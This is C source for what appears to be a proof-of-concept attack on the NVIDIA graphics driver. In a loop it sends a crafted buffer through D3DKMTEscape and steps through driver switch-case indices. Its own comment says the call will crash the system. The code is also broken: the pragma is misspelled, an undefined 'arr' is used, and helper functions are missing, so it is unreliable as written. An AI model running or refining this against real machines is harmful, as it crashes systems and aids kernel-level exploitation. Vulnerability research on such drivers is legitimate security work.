#include <d3dkmthk.h>
#include <stdio.h>
#include <string.h>
#pragma commect(lib,"Gdi32.lib")
#define BUF_SIZE 1024

static const char* intel = "Intel";
static const char* nvidia = "NVIDIA";

typedef struct {
    UINT unknown1;
    UINT unknown2;
    UINT escape_jmp_table_index;
    UINT switchcase_index;
    char buffer[BUF_SIZE];
} PrivateDriverData;


int main()
{
    int bf_index = 0;
    while(true)
    {
        char buffer_corupt[] = { 
            0x41, 0x44, 0x56, 0x4E, 0x02, 0x00, 0x01, 0x00, 0x40, 0x01, 0x00, 0x00, 0x2A, 0x2A, 0x56, 0x4E,
            0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x56, 0x00, 0x53, 0x00, 0x50, 0x00,
            0x43, 0x00, 0x41, 0x00, 0x50, 0x00, 0x53, 0x00, 0x5C, 0x00, 0x61, 0x00, 0x61, 0x00, 0x31, 0x00,
            0x38, 0x00, 0x65, 0x00, 0x62, 0x00, 0x63, 0x00, 0x34, 0x00, 0x2D, 0x00, 0x30, 0x00, 0x31, 0x00,
            0x39, 0x00, 0x64, 0x00, 0x2D, 0x00, 0x34, 0x00, 0x65, 0x00, 0x63, 0x00, 0x30, 0x00, 0x2D, 0x00,
            0x62, 0x00, 0x66, 0x00, 0x31, 0x00, 0x64, 0x00, 0x2D, 0x00, 0x64, 0x00, 0x36, 0x00, 0x33, 0x00,
            0x30, 0x00, 0x30, 0x00, 0x32, 0x00, 0x31, 0x00, 0x38, 0x00, 0x62, 0x00, 0x66, 0x00, 0x35, 0x00,
            0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x9F, 0x21, 0x93, 0x00, 0x32, 0xE1, 0x54, 0x00, 0x00, 0x80, 0x84, 0x1E, 0x00
        };

        int result = 0;
        DRIVER_INFO driverInfo = { 0 };
        D3DKMT_ESCAPE escapeObj = { 0 };
        PrivateDriverData data = { 0 };
        int status = initDriver(&driverInfo, nvidia);
        if (!NT_SUCCESS(status)) {
            printf("Could not initialize connection to driver");
            return -1;
        }
        printf("[+] Initialized driver\n");
        escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
        escapeObj.hAdapter = driverInfo.hAdapter;
        escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
        data.unknown1 = 'AAAA';
        data.unknown2 = 'BBBB';
        data.escape_jmp_table_index = 1;
        data.switchcase_index = bf_index; // vulnerable case
        memcpy(data.buffer, buffer_corupt, sizeof(arr) / sizeof(arr[0]));
        escapeObj.pPrivateDriverData = (void*)&data;
        escapeObj.PrivateDriverDataSize = sizeof(data);
        status = D3DKMTEscape(&escapeObj); // Will not return, it will crash the system.
        if (!NT_SUCCESS(status)) {
            printf("[-] D3DKMTEscape failed (%x)", status);
        }
        if(bf_index > 752){
            break;
        }
        bf_index += 1;
        //getchar();
    }
    return 0;
}